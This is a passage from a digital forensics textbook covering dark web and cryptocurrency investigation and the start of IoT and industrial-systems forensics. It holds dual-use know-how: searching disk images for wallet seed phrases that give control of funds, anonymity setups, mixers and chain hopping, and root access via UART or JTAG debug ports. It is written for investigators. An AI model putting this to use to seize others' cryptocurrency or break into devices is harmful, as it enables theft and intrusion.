Part 4

Specialized and Advanced Investigations

This part explains advanced and difficult topics in digital forensics. It goes beyond the basic methods discussed earlier. Each chapter focuses on a specific area that requires special tools, methods, and a detailed understanding of the technology. These areas range from the anonymous dark web to the connection between physical devices and digital systems. This includes the *Internet of Things (IoT)*, which are physical objects connected to the internet, and *autonomous systems*, like self-driving cars, which operate without direct human control.

Chapter 16

Investigating the Dark Web and Cryptocurrency

Introduction

Criminals often use the Dark Web and cryptocurrency to hide their illegal activities. As an investigator, you must understand these technologies to find evidence and solve cases. This chapter explains how the Dark Web provides anonymity and how cryptocurrencies like Bitcoin are used for payments. You will learn how to safely set up an investigation, analyze a blockchain, and trace digital money to identify suspects.

Real-World Story: The Silk Road Takedown, The perfect example for this chapter is the investigation and shutdown of the Silk Road marketplace. Silk Road was an *onion service*, which is a special website that runs on the Tor network. It became a large marketplace for illegal drugs, hacking tools, and other illegal goods. It processed hundreds of millions of dollars in payments, mostly using Bitcoin. The investigation involved multiple government agencies and led to the 2013 arrest of its operator, Ross Ulbricht (also known as "Dread Pirate Roberts"). This was a major success. The investigators did not find one single clue to solve the case. Instead, they used a combination of methods. These included traditional detective work, analyzing forum posts, a lucky operational mistake made by Ulbricht, and new techniques for tracing Bitcoin transactions. This case proved that anonymity on the Dark Web is not perfect. It also showed that digital money trails can be followed, even if they are hidden. This case is a guiding example for the techniques explained in this chapter.

16.1 The Dark Web and Anonymity Networks

An *anonymity network* is a system designed to separate a user's real identity from what they do online. These networks send internet traffic through a series of other computers to hide where the connection started. This technology has big effects on both legal and illegal activities. Legal uses include protecting journalists in dangerous countries, whistleblowers who expose crime, and normal citizens worried about widespread online tracking. On the other hand, criminals use these same tools to run illegal marketplaces, control networks of infected computers (called botnets), and communicate without being quickly identified [110].

16.1.1 The Deep Web vs. The Dark Web

In the media, the terms "Deep Web" and "Dark Web" are often used as if they mean the same thing, but they describe two different concepts. Understanding this difference is the first step for any investigator.

Defining the Deep Web

The Deep Web is any part of the World Wide Web that normal search engines like Google or Bing do not index. The content is not necessarily secret or illegal. It is simply not reachable by the automated programs (called web crawlers) that build search engine indexes. The Deep Web makes up most of the internet. Common examples include:

- Content that requires a login or payment (for example, online bank accounts or paid academic websites).
- Internal networks used by companies and universities (intranets).
- Pages that are created dynamically in response to a search in a database.
- Web archives and private file servers.

Defining the Dark Web

The Dark Web is a small part of the Deep Web that is hidden on purpose and requires special software to access. It is made of "overlay networks" that are built on top of the normal internet. These networks are known for using special protocols to make users anonymous and for using unique addresses that a standard web browser cannot open. The most famous of these is Tor, which uses '.onion' addresses.

16.1.2 Understanding The Onion Router (Tor)

The Onion Router, or Tor, is the most popular network used to access the Dark Web and stay anonymous online. It is free, open-source software managed by a non-profit group called The Tor Project, Inc. [58].

Core Concepts of Tor

The name "onion routing" is a good way to understand how Tor works. A user's data is wrapped in many layers of encryption, like the layers of an onion. This encrypted data is then sent through a random path of servers run by volunteers. These servers are called nodes or relays.

The three main types of nodes in a Tor circuit are:

- **Entry Guard (or Guard Node):** The first node the user connects to. It knows the user's real IP address, but it does not know the final destination of the data.
- **Middle Relay:** A node that gets data from the Entry Guard and sends it to the Exit Node. It does not know the user's IP address or the final destination. It only knows the IP addresses of the Entry and Exit nodes.
- **Exit Node:** The last node in the circuit. It removes the final layer of encryption and sends the user's data to its destination on the public internet. It knows the destination, but not the user's original IP address.

A key part of the Dark Web is **Onion Services** (which used to be called Hidden Services). These are websites and other services that exist completely inside the Tor network. You can identify them by their '.onion' addresses (for example, 'duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion', which is the address for the DuckDuckGo search engine's onion service). This system provides anonymity in both directions: the visitor is anonymous, and the location of the server is also hidden.

Strengths and Weaknesses

Strengths: Tor provides strong protection against *traffic analysis*, a common type of online surveillance where someone tries to learn information by watching data patterns. Because Tor is decentralized, with thousands of volunteer relays around the world, it is difficult for any single group to shut it down. It is also easy to use, with the Tor Browser offering a simple user interface.

Weaknesses: The system does have some weaknesses. The Exit Node is a weak point because data leaving it to the public internet is not encrypted. Someone running a malicious exit node could potentially steal sensitive information. Advanced attackers might also use a **timing correlation attack**. This is a method where they watch data entering the Tor network at an Entry Guard and leaving at an Exit Node. By matching the time and size of the data, they can try to link a user to the website they are visiting. Also, the routing process makes Tor much slower than a normal internet connection.

Algorithmic Breakdown: Tor Circuit Creation

(1) The user's Tor software gets a current list of active Tor nodes from a trusted Directory Authority.

(2) The software randomly chooses an Entry Guard, a Middle Relay, and an Exit Node to create a "circuit."

(3) A layered "onion" of encrypted data is created. The user's software sets up a secure, encrypted connection with the Entry Guard.

(4) The Entry Guard removes only its layer of the onion, which shows the address of the Middle Relay. It then sends the rest of the onion to that relay.

(5) The Middle Relay removes its layer, which shows the address of the Exit Node, and sends the rest of the onion.

(6) The Exit Node removes the final layer, which shows the real destination address on the public internet. It sends the user's data to this destination. Data coming back from the website follows the same circuit in reverse. Each node adds a layer of encryption on the way back to the user.

Other Anonymity Networks

Tor is the most popular, but other anonymity networks exist. The **Invisible Internet Project (I2P)** is another network. Unlike Tor, it is mainly designed for services hosted inside the network (called "eepsites"). **Freenet** is an older project that focuses on decentralized, censorship-proof data storage and publishing.

16.1.3 Operational Security (OpSec) for Investigators

When investigating the Dark Web, an investigator's **Operational Security (OpSec)** is extremely important. OpSec means all the steps taken to keep an investigation secret and safe. A single mistake can put an entire investigation at risk, reveal a secret identity, or expose an organization. The main goal is to create a total separation between the investigator's real identity and computer systems, and their online investigative identity and activities. This requires a dedicated, clean, and separate environment.

Essential Technical Controls

- **Dedicated Hardware:** The best setup uses a computer that has never connected to the investigator's personal or official work network. This method minimizes the risk of secrets being accidentally exposed.
- **Virtualization:** Using software like VirtualBox or VMware is a common and effective method. An investigator can create a separate *virtual machine (VM)*, which is a simulated computer running inside the real one, for each case or secret identity. This ensures that any dangerous software or tracking technology is trapped inside the VM and cannot affect the main computer or other investigations.

- **Amnesic Operating Systems:** For the best security, investigators often use amnesic live operating systems. The most popular is **TAILS (The Amnesic Incognito Live System)** [207]. TAILS is a Linux-based operating system that can be run from a USB drive. It is 'amnesic,' meaning it forgets everything and leaves no trace on the computer after it is shut down. It also forces all internet traffic to go through the Tor network.
- **VPN Usage:** Using a trusted *Virtual Private Network (VPN)* is a critical security layer. A VPN encrypts your internet connection and hides your real IP address. By connecting to a VPN *before* starting Tor, the investigator's Internet Service Provider (ISP) can see that a VPN is being used, but cannot see that the investigator is accessing the Tor network. This is called "Tor over VPN" and helps hide the investigation itself.

Practical Demo: Creating a Sterile Environment,

(1) Start with a clean, updated computer used only for forensic work.

(2) Install virtualization software (for example, Oracle VM VirtualBox).

(3) Create a new virtual machine (VM). A simple Linux system like Debian or Linux Mint is a good choice for the VM's operating system.

(4) Inside the new VM, install a trusted, paid VPN client. Do not use free VPNs, because they often make money by logging and selling user data.

(5) Connect to a VPN server. Choose a server in a country that is suitable for the investigation.

(6) With the VPN active, open the VM's web browser and go to the official Tor Project website. Download the Tor Browser package.

(7) It is very important to check the digital signature of the downloaded file. This ensures the file is genuine and has not been changed.

(8) Only launch the Tor Browser after confirming the VPN connection is active. This setup now isolates your activity inside a VM, hides your Tor usage from your ISP with the VPN, and makes your web traffic anonymous with Tor.

16.1.4 Dark Web Evidence Acquisition

Saving evidence from the Dark Web requires more care than taking a simple screenshot. Onion services are often temporary and a site could disappear at any time. Evidence must be collected in a way that is forensically sound, meaning it is reliable and can be verified.

Documenting Dark Web Pages

A simple screenshot does not have metadata and can be easily changed. The correct method is to save the entire webpage.

(1) In the Tor Browser, go to the page you want to save.

(2) Right-click and choose "Save Page As..." or press 'Ctrl+S'.

(3) Select the "Web Page, Complete" option. This saves the main HTML file and a folder with all related items like images, stylesheets (CSS), and scripts.

(4) Immediately after saving, use a command-line tool to calculate the *cryptographic hash* of the saved files. A hash is a unique digital fingerprint. You can use tools like 'sha256sum' on Linux or 'Get-FileHash' in PowerShell.

(5) Record these hash values, the full '.onion' URL, the time and date of capture (in UTC), and any other important details in your case notes. This creates a verifiable record of the evidence at a specific moment.

On-Device Artifacts

When a suspect's computer is seized, it may contain important clues about Dark Web activity. A forensic analysis should look for:

- **Tor Browser Installation Files:** The location and contents of the Tor Browser folder.
- **Configuration and Cache:** Inside the browser's data, investigators might find bookmarks, browsing history, and saved session information that can show which '.onion' sites were visited.
- **Live Memory (RAM) Analysis:** If a computer is captured while it is still running, analyzing its memory (RAM) can be very valuable. The memory might contain information about active Tor circuits, passwords, and the addresses of currently or recently visited onion services.

16.2 Fundamentals of Blockchain and Cryptocurrency

To trace illegal funds, an investigator must first understand the technology that supports them. *Blockchain* technology was first created to solve a classic computer science problem: how to prevent a digital asset from being spent more than once. It allows for the creation of unique, verifiable digital items without needing a central authority like a bank to approve transactions. This idea, called **digital scarcity**, is the basic principle behind all cryptocurrencies [153].

16.2.1 How a Blockchain Works

The Ledger Analogy

The easiest way to understand a blockchain is to think of it as a shared digital record book, or *ledger*. This special ledger is not kept by one person. Instead, it is copied and shared among a large network of computers. Every time a new transaction happens, a new entry is made in the book. Before the entry is added, the computers in the network must agree that the transaction is valid. Once added, the entry is permanent and cannot be changed.

Blocks and Hashes

This digital ledger is organized as a chain of blocks.

- A **Block** is a container that holds a list of recent transactions.
- **Cryptographic Hashing** is a process that takes any data (like all the transaction data in a a block) and produces a unique, fixed-size string of characters called a *hash*. This hash is a digital fingerprint for the block. If even one small detail in the block's data changes, the hash will change completely.
- Each block in the chain contains its own transaction data and also the hash of the *previous* block. This is the key idea. It creates a linked, time-ordered chain. If an attacker tried to change a transaction in an old block (for example, Block 100), the hash of that block would change. This would break the link to the next block (Block 101), because Block 101 contains the original hash of Block 100. To succeed, the attacker would have to recalculate the hashes for every single block that came after it (101, 102, 103, and so on). This is a task that requires huge computer power and is seen as practically impossible on a large network [229].

16.2.2 Bitcoin, Ethereum, and Public Ledgers

Bitcoin (BTC) and the UTXO Model

Bitcoin is the first and most famous cryptocurrency. It operates on a public ledger. Key concepts are:

- **Address:** A string of letters and numbers (e.g., '1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa') used to receive money. It is created from a user's public key.
- **Private Key:** A secret code that gives the owner of an address the power to spend the money associated with it. The private key must always be kept secret.
- **Transaction:** A digitally signed instruction sent to the network, which states that money should be moved from one or more input addresses to one or more output addresses.

- **UTXO (Unspent Transaction Output):** This is a basic concept in Bitcoin. It is best to think of a UTXO as a specific piece of digital money, like a digital coin or bill, rather than an account balance. If someone sends you 1 BTC, you receive a 1 BTC UTXO. If you want to spend 0.2 BTC, you use your 1 BTC UTXO as an input. You send 0.2 BTC to the other person and send the remaining 0.8 BTC back to yourself as a new "change" UTXO.

Ethereum (ETH) and Smart Contracts

Ethereum is another major public blockchain, but it has an important extra feature: it is programmable [28]. Besides simple money transfers, Ethereum allows people to create and run **Smart Contracts**. A smart contract is a program stored on the blockchain that automatically runs when certain conditions are met. For example, a contract could automatically release money to someone after a specific event is confirmed on the blockchain. This feature is the foundation for many applications, including Decentralized Finance (DeFi) and Non-Fungible Tokens (NFTs).

Pseudonymity vs. Anonymity

A very important point for investigators is that public blockchains like Bitcoin and Ethereum are **pseudonymous**, not anonymous. *Pseudonymous* means that transactions are linked to public addresses (the pseudonyms or false names), not real identities. Every single transaction is public, transparent, and permanently recorded on the ledger for anyone to view. The main challenge of cryptocurrency forensics is to connect these pseudonymous addresses on the blockchain to the real-world people, organizations, and IP addresses that control them.

16.2.3 Privacy-Enhancing Coins (PECs)

Because public ledgers are so transparent, a type of cryptocurrency called **Privacy-Enhancing Coins (PECs)** or "privacy coins" was created. These are designed specifically to hide transaction details and make blockchain analysis difficult.

Monero (XMR)

Monero is considered the top privacy coin. It uses three main techniques to protect privacy [183]:

- **Ring Signatures:** This technique hides the sender. The real person sending the money is mixed in with a group of other possible senders (decoys). An observer can confirm that *someone* in the group authorized the transaction, but cannot tell exactly who it was.

- **Stealth Addresses:** This technique hides the receiver. A new, one-time-use address is created for every transaction. This prevents anyone from linking different payments to the same receiver.
- **RingCT (Ring Confidential Transactions):** This technology was added in 2017 and hides the amount of money being sent in a transaction.

Zcash (ZEC)

Zcash gives users a choice between transparent and private transactions. Transparent transactions are public, just like Bitcoin. Private, or "shielded," transactions use a special cryptographic method called a **zk-SNARK** (Zero-Knowledge Succinct Non-Interactive Argument of Knowledge) [16]. This allows a user to prove that a transaction is valid (for example, that they have enough money and are not spending it twice) without revealing any information about the sender, receiver, or amount.

16.3 Cryptocurrency Forensics: Following the Money

The main goal of a cryptocurrency investigation is to follow the trail of illegal funds on the blockchain. The trace starts from a known point (like a ransomware payment address) and follows the money to a point where the identity of the person controlling the funds can be found. This final point is usually a service like a cryptocurrency exchange, where crypto is traded for regular money.

16.3.1 On-Device Cryptocurrency Forensics

An investigation often starts with a device taken from a suspect. A careful forensic exam of the device's storage can uncover the information needed to access a suspect's cryptocurrency.

Locating Wallet Artifacts

Investigators should search for specific files and data related to cryptocurrency wallets:

- **Software Wallet Files:** Look for the installation folders and data files of popular wallet programs (e.g., Exodus, Electrum, Sparrow).
- **'wallet.dat' File:** For users running a full Bitcoin Core program, the 'wallet.dat' file contains their private keys.
- **Mnemonic Seed Phrases:** This is the most important thing to find. A *seed phrase* is a list of 12 or 24 words that can be used to recover a wallet and all of its private keys. Suspects might store these phrases in text files, password managers, notes, or even written on paper.

- **Keys and Passwords:** Search for raw private keys or API keys for using exchanges. These may be stored in configuration files or computer scripts.

Practical Demo: Searching a Forensic Image for Seed Phrases,

(1) The most common format for seed phrases is Bitcoin Improvement Proposal 39 (BIP39). It uses a specific list of 2048 English words [169].

(2) Get this wordlist and use it as a keyword list in a forensic analysis tool (like Autopsy or EnCase) or with a command-line tool like 'grep'.

(3) Search the entire forensic image or all logical files for any of the words from the list.

(4) A file that contains many different words from the BIP39 list (especially 12 or 24 words in order) is a strong sign that you have found a mnemonic seed phrase. Finding this phrase gives an investigator complete control over the related cryptocurrency funds.

16.3.2 Blockchain Analysis Tools and Techniques

Public Blockchain Explorers

For any investigation, the first step is to use a public blockchain explorer. These are free websites that work like search engines for a blockchain. Examples include Blockchain.com for Bitcoin and Etherscan.io for Ethereum. An investigator can enter a known address or transaction ID to see its entire history.

Practical Demo: Using a Blockchain Explorer,

(1) Go to a BTC block explorer like Blockchain.com.

(2) Enter a famous address, such as one of the known WannaCry ransomware payment addresses: '13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94'.

(3) The explorer will show the address's total received funds, current balance, and a complete, time-stamped list of all transactions.

(4) By clicking on a transaction ID, you can see the details of that specific transaction, including all of its input and output addresses. This is the manual way to trace funds.

Commercial Analysis Platforms

Public explorers are good for looking at single transactions, but large investigations need special tools. Commercial platforms like **Chainalysis**, **Elliptic**, and **TRM Labs** offer powerful tools that analyze the raw blockchain data [40]. Their main benefits are:

- **Clustering and Heuristics:** These platforms use advanced algorithms and smart guesswork (called heuristics) to automatically group together addresses that are probably controlled by the same person or group.
- **Attribution:** Their most important feature is labeling addresses. They have large databases that connect addresses to known groups, such as specific exchanges, darknet markets, mixers, ransomware groups, and sanctioned organizations. This changes a list of pseudonymous addresses into a map of real-world services.
- **Risk Scoring:** They can automatically give a risk score to an address based on its transaction history, such as how closely it is linked to known illegal services.

Algorithmic Breakdown: Basic Address Clustering (Co-Spend Heuristic) The common input ownership heuristic is a basic technique for grouping addresses.

(1) Start with an address you are interested in, Address A.

(2) Look at all transactions where Address A was used as an *input*.

(3) For each of those transactions, find all other addresses that were also used as inputs *in that same transaction*.

(4) The basic idea (the heuristic) is that to create one transaction with multiple inputs, a person must have the private keys for all of those input addresses. Therefore, all input addresses in a single transaction are likely controlled by the same person or group.

(5) Group Address A and all its co-spent addresses into a single "cluster," which represents a single entity.

(6) Repeat this process for all addresses in the new cluster to make it bigger, until no more co-spends can be found.

16.3.3 Tracing to On-Ramps and Off-Ramps

The Point of Deanonymization

For a criminal to use illegal cryptocurrency, they almost always have to change it back into traditional money (like USD or EUR). The places where cryptocurrency is bought with regular money ("on-ramps") or sold for regular money ("off-ramps") are the main points where a person's identity can be discovered. This is the ultimate goal for most tracing investigations.

The Role of Exchanges and KYC/AML

Most large, centralized cryptocurrency exchanges (e.g., Coinbase, Kraken, Binance) are regulated financial companies. This means they must follow government rules. These rules include **Know Your Customer (KYC)**, which requires them to check a user's real identity, and **Anti-Money Laundering (AML)**, which aims to prevent financial crimes. To comply, exchanges collect and verify identity information like government photo IDs and proof of address.

The Legal Process

Once blockchain analysis traces illegal funds to a deposit address at a known, regulated exchange, the investigation moves from the blockchain back to the real world. Law enforcement can issue a legal order, like a subpoena or warrant, to the exchange. The order will list the addresses and transactions they are investigating. The exchange can then provide the full KYC account details of the user who controls those addresses. This can directly lead to the suspect's identity.

Real-World Story: The "Welcome to Video" Investigation, This case shows the power of tracing funds to exchanges. "Welcome to Video" was one of the world's largest Dark Web sites for child sexual abuse material (CSAM). The site's operator accepted payments in Bitcoin. Agents from IRS Criminal Investigation (IRS-CI) carefully traced the Bitcoin payments from users on the site, through complex transaction chains, to exchanges where the crypto was sold for money. By serving legal orders to these exchanges, they got the real identity information of many users and the site's owner. This led to hundreds of arrests around the world and the rescue of victims [220].

16.3.4 Investigating Obfuscation and Emerging Threats

Criminals are always creating new methods to avoid blockchain analysis. Investigators need to know about these methods.

Mixers and Tumblers

A *mixer*, or tumbler, is a service designed to hide the connection between funds on the blockchain. A user sends their crypto to the mixer, which mixes it with funds from many other users. The mixer then sends similar amounts of crypto (minus a fee) to new addresses that the users provide. This makes it hard to follow a specific amount of crypto from its input to its output. However, analysis tools can often "de-mix" transactions by looking at transaction times, amounts, and other patterns.

Chain Hopping

Chain hopping is the act of trading one cryptocurrency for another to break the forensic trail. For example, a criminal might trade illegal Bitcoin (BTC) for Monero (XMR) on one exchange, move the XMR, and then trade it for Ethereum (ETH) on another. Because the trail leaves the Bitcoin ledger and moves to the non-transparent Monero ledger before appearing again, it becomes much harder to follow.

Decentralized Finance (DeFi) and NFT Fraud

The growth of DeFi and NFTs has created new opportunities for financial crime.

- **Rug Pulls:** A common scam where the creators of a new DeFi project get people to invest, then suddenly abandon the project and run away with all the money.
- **Smart Contract Exploits:** Attackers study the code of DeFi services to find weaknesses. If they find a flaw, they can use it to steal millions of dollars from the service in minutes.
- **NFT Theft:** Criminals use clever phishing scams and tricks to fool users into approving malicious transactions that give the attacker ownership of their valuable NFTs.

Investigating these crimes requires a deep understanding of how smart contracts work and the specific details of the service that was attacked.

Conclusion

This chapter taught you two critical skills. First, how to use strong operational security (OpSec) to investigate the Dark Web safely. Second, how to analyze public blockchains to trace cryptocurrency transactions. By following the digital money to an exchange, an investigator can use the legal process to connect a pseudonymous address to a real-world suspect. In the next chapter, we will combine these techniques with others in a full mock investigation to show how a case is solved from start to finish.

Acronyms and Terminology

AML Anti-Money Laundering: A set of regulations that financial services must follow to prevent and report financial crimes.

Anonymity Network A system of computers that hides a user's real identity and location from their online activities by routing traffic through multiple servers.

Attribution The process in blockchain analysis of linking pseudonymous cryptocurrency addresses to known real-world entities like exchanges, criminal groups, or specific services.

BIP39 Bitcoin Improvement Proposal 39: The technical standard that defines the creation of mnemonic seed phrases, using a specific list of 2048 English words.

Block A component of a blockchain that acts as a container for a list of recent, validated transactions.

Blockchain The underlying technology for cryptocurrencies, acting as a shared, unchangeable digital record book (ledger) that is distributed across many computers.

Blockchain Explorer A public website that functions as a search engine for a blockchain, allowing anyone to view transactions, balances, and the history of any address.

Botnet A network of computers infected with malicious software and controlled by a criminal without the owners' knowledge.

BTC The ticker symbol and common abbreviation for Bitcoin, the first and most well-known cryptocurrency.

Chain Hopping A technique used to hide the trail of funds by exchanging one cryptocurrency for another (e.g., Bitcoin for Monero), making it harder to trace.

Circuit (Tor) The randomized path of three volunteer-run servers (Entry, Middle, and Exit) that a user's data travels through to ensure anonymity on the Tor network.

Clustering An automated analysis technique that groups multiple cryptocurrency addresses together based on evidence suggesting they are all controlled by the same person or organization.

Co-Spend Heuristic A fundamental principle in blockchain analysis stating that all input addresses used in a single transaction are likely controlled by the same entity.

Cryptocurrency A form of digital money that uses cryptography for security and operates on a decentralized network (a blockchain) rather than through a central authority like a bank.

Cryptographic Hash A unique, fixed-length digital fingerprint generated from a piece of data. It is used to verify that the data has not been altered.

CSAM Child Sexual Abuse Material: Illegal content whose distribution is a major focus of law enforcement investigations on the Dark Web.

Dark Web A hidden part of the internet that requires special software (like the Tor Browser) to access, designed to provide anonymity for both users and website hosts.

Deep Web All parts of the internet that are not indexed by standard search engines, including content behind logins, private databases, and corporate intranets. It is distinct from the Dark Web.

DeFi Decentralized Finance: Financial applications and services built on blockchain technology, particularly using smart contracts, that operate without a central intermediary.

Digital Scarcity A core concept of cryptocurrency, where blockchain technology makes it possible for a digital item to be unique and non-duplicable without a central authority.

Entry Guard (Guard Node) The first of three servers (nodes) in a Tor circuit. It knows the user's real IP address but not their final online destination.

ETH The ticker symbol and common abbreviation for Ethereum, a major cryptocurrency and blockchain platform known for its smart contract capabilities.

Exit Node The last of three servers (nodes) in a Tor circuit. It sends the user's traffic to the public internet and knows the final destination, but not the user's original IP address.

Forensically Sound A standard for collecting digital evidence in a manner that is verifiable, repeatable, and ensures the evidence has not been altered.

Heuristics (Blockchain Analysis) Educated assumptions or "rules of thumb" used by analysis software to interpret blockchain data, such as the co-spend heuristic for clustering addresses.

I2P Invisible Internet Project: An anonymity network similar to Tor, but primarily focused on hosting internal, hidden services (called "eepsites").

IRS-CI IRS Criminal Investigation: The law enforcement branch of the U.S. Internal Revenue Service, which investigates financial crimes, including those involving cryptocurrency.

ISP Internet Service Provider: The company that provides a user with access to the internet.

KYC Know Your Customer: A mandatory process for regulated financial institutions, including many crypto exchanges, to verify the real-world identity of their clients.

Ledger A record book of transactions. In the context of cryptocurrency, it is a digital, decentralized ledger (the blockchain) shared among all network participants.

Middle Relay The second of three servers (nodes) in a Tor circuit. It receives data from the Entry Guard and passes it to the Exit Node, knowing neither the origin nor the final destination of the data.

Mixer (or Tumbler) An anonymizing service that breaks the traceable link between a sender and receiver of cryptocurrency by pooling and mixing funds from many different users.

Mnemonic Seed Phrase A list of 12 or 24 words that acts as a master backup, allowing a user to recover a cryptocurrency wallet and all its associated private keys.

NFT Non-Fungible Token: A unique digital asset stored on a blockchain that represents ownership of a specific item, such as art, a collectible, or a virtual object.

Onion Service A website or service that is hosted entirely within the Tor network, offering anonymity to both the site's operator and its visitors. Its address ends in '.onion'.

On-Ramps / Off-Ramps The points where users convert traditional money into cryptocurrency (on-ramp) or convert cryptocurrency back into traditional money (off-ramp), often through an exchange.

OpSec Operational Security: The practice and precautions taken by an investigator to protect the details of an investigation, maintain their anonymity, and ensure their safety.

PECs Privacy-Enhancing Coins: A category of cryptocurrencies, like Monero and Zcash, specifically designed to hide transaction details such as the sender, receiver, and amount.

Private Key A secret piece of cryptographic data that gives its owner the authority to spend the cryptocurrency associated with a specific address.

Pseudonymous A state where a person's actions are linked to a pseudonym (like a crypto address) rather than their real name. Public blockchains are pseudonymous, not truly anonymous.

RAM Random Access Memory: The temporary, volatile memory a computer uses for active tasks. A live analysis of RAM can reveal crucial evidence like passwords and active network connections.

Ring Signatures A privacy technology used by Monero that hides the true sender of a transaction by mixing their digital signature with a group of other possible senders (decoys).

Rug Pull A type of scam where the developers of a new cryptocurrency or DeFi project raise money from investors and then disappear with the funds, abandoning the project.

Smart Contract A self-executing program stored on a blockchain that automatically carries out the terms of an agreement when certain conditions are met.

Stealth Addresses A privacy technology used by Monero that protects a receiver's privacy by automatically creating a new, unique, one-time address for every incoming transaction.

TAILS The Amnesic Incognito Live System: A specialized operating system that can be run from a USB drive, designed for maximum privacy by forcing all internet traffic through Tor and leaving no trace on the host computer.

Timing Correlation Attack An advanced surveillance method used to try and defeat Tor's anonymity by matching the timing and volume of data entering and exiting the network to link a user to a specific destination.

Tor The Onion Router: The most popular free, open-source software and network for enabling anonymous communication and accessing the Dark Web.

Traffic Analysis A form of surveillance that involves monitoring patterns in data traffic (like timing and size) to infer information, even if the content of the data is encrypted.

Transaction (Cryptocurrency) A digitally signed instruction broadcast to the blockchain network to transfer ownership of cryptocurrency from one address to another.

UTXO Unspent Transaction Output: The fundamental accounting model in Bitcoin, where funds are represented as discrete pieces of unspent crypto from previous transactions, similar to individual coins or bank notes.

Virtual Machine (VM) A self-contained, emulated computer system that runs inside a host computer, used by investigators to create an isolated environment for risky activities.

VPN Virtual Private Network: A service that encrypts a user's internet connection and masks their true IP address, often used as an extra layer of security before connecting to the Tor network.

wallet.dat The specific file used by the Bitcoin Core software client to store a user's private keys.

zk-SNARK A complex form of cryptography used by the privacy coin Zcash that allows a user to prove a statement is true (e.g., "I have enough funds for this transaction") without revealing any of the underlying information.

Chapter 17

Forensics for IoT, ICS, and Operational Technology

Introduction

In a modern investigation, digital evidence comes from more than just computers. Attackers can now target systems that control the physical world, so a security breach can cause real-world damage. This makes it essential for an investigator to understand the forensics of these devices. This chapter teaches the special methods required for the *Internet of Things (IoT)*, *Industrial Control Systems (ICS)*, and *Operational Technology (OT)*. We will explain the unique challenges of these systems, show how to acquire data from specialized hardware, and cover the safety-first approach needed to analyze them.

17.1 Fundamentals of Embedded Systems

17.1.1 Defining the Landscape

The central concept for IoT, ICS, and OT is the *embedded system*. An embedded system is a computer system designed for a specific job within a larger mechanical or electrical system. Unlike a personal computer, these devices are not for general use. They have a wide range of complexity and uses:

- **Internet of Things (IoT):** These are network-connected devices used by consumers (like smart speakers and security cameras) or businesses (like smart lighting and sensors for predicting maintenance needs).
- **Embedded Systems:** This is a wide category that includes devices that are not connected to a network or are only on a local network. Examples include automotive control units, medical devices, and home appliances.

- **Operational Technology (OT) / Industrial Control Systems (ICS):** This includes the hardware and software that monitor and control physical equipment and processes. These systems manage power grids, manufacturing plants, and water distribution networks [194].

The main thing these systems share is that their hardware and software are closely combined. They are built for one specific and often very important job.

17.1.2 Key Hardware Components

To perform forensic analysis on these systems, you must understand their basic hardware.

- **Microcontrollers (MCUs) vs. System on a Chip (SoC):** An *MCU* is a simple computer on a single chip that includes a processor, memory, and programmable inputs/outputs. They are common in simple, low-power devices. An *SoC* is more advanced; it is a complete computer system (CPU, GPU, memory, I/O controllers) on a single chip. High-end IoT devices like smart TVs or security cameras often use SoCs.
- **Memory Types:** Forensic data is found in different types of memory. *Volatile RAM* is memory that loses its data when the power is turned off, but it may contain active processes and secret information. *Non-volatile memory*, which keeps its data without power, is the main target for data recovery.
    - **Flash Memory (NAND/NOR):** This is the most common type of storage. *NOR flash* is very reliable and can run programs directly from the chip, so it often stores the device's startup program (the bootloader) and main software (the firmware). *NAND flash* is used for larger storage needs, like holding the main operating system and user data.
    - **EEPROM (Electrically Erasable Programmable Read-Only Memory):** This memory is used to store small amounts of unchanging data, like device settings or serial numbers.
- **Peripherals & Interfaces:** These special connections are used for testing during manufacturing. Often, they are the only way an investigator can access the device's data.
    - **UART (Universal Asynchronous Receiver-Transmitter):** This interface provides access to a serial console. A *serial console* is a text-based interface that can show the device's startup messages or even give full administrative control (a root shell).
    - **JTAG (Joint Test Action Group):** This is a powerful hardware-level debugging interface. An investigator can use a JTAG port to stop the processor and read data directly from memory and internal storage areas called registers [89].

- **I2C (Inter-Integrated Circuit):** This is a protocol often used for communication between the main processor and other chips, like security chips or sensors.

17.1.3 Common Operating Systems

- **Real-Time Operating Systems (RTOS):** Systems like FreeRTOS, QNX, and VxWorks are designed to be reliable and predictable. A predictable, or *deterministic*, system guarantees that a task will finish within a specific time. This is essential for devices like an industrial robot or a car's braking system. These operating systems leave very little forensic evidence, and analyzing it requires special knowledge.
- **Embedded Linux/Android:** More powerful IoT devices often run a smaller, modified version of Linux or Android. This provides an environment that is easier for investigators to work with, as it has recognizable file systems and command-line tools. However, the custom modifications can still create major challenges [168].

17.2 Core Investigative Challenges

Investigating embedded systems is very different from traditional computer forensics because of a unique set of problems.

- **Proprietary and Non-Standard Designs:** There is very little standardization, so every device can be different. Manufacturers use special hardware designs, unique connectors, and uncommon file systems (like JFFS2, YAFFS, or SquashFS) that are designed for flash memory. Traditional forensic software like EnCase or FTK cannot analyze these systems without special configuration.
- **Data Volatility and Limited Storage:** Most embedded devices are not designed to store data for a long time. Storage is limited, so logs are often overwritten very quickly, sometimes in minutes or hours. The order in which data is lost is much faster. Important evidence like active network connections or running processes exists only in RAM and disappears forever when the device loses power.
- **Acquisition Difficulties:** An investigator usually cannot just remove a hard drive and connect it to a *write-blocker*, which is a device that prevents any changes to the evidence. Getting physical access might require unsoldering parts from the circuit board. Turning off a device to copy its data might destroy evidence in RAM. But leaving it on could allow other data to be overwritten. Investigators must always choose between these two difficult options: analyzing the device while it is on ("live") or off ("dead").

- **Encryption and Anti-Tampering:** To protect their product designs and improve security, manufacturers increasingly use encrypted filesystems. They also use *secure boot*, a mechanism that stops the device from starting if the software has been changed, and anti-tampering features that can erase all data if they detect physical tampering. These security features are a major problem for forensic access.

17.3 IoT Forensic Acquisition Techniques

IoT evidence is usually not in one single place. A complete investigation must look at the entire ecosystem: the device itself, the user's mobile app, and the manufacturer's cloud services, where data is often saved and stored [162].

17.3.1 Network-Based Acquisition

Before trying any physical interaction, a passive network analysis can provide very important information.

- **Passive Traffic Capture:** The safest first step is often to put the IoT device on an isolated, monitored network. This setup is sometimes called a *forensic sandbox*. Then, you can capture all of its network traffic using tools like Wireshark or 'tcpdump'. Analyzing this traffic can show:
    - **Communication Patterns:** Where does the device connect? Look for DNS requests (which show what servers it is trying to contact), NTP queries (which show how the device gets its time), and connections to the manufacturer's servers.
    - **Protocol Usage:** Identify the protocols used to send control signals and data, such as HTTP, MQTT, or CoAP.
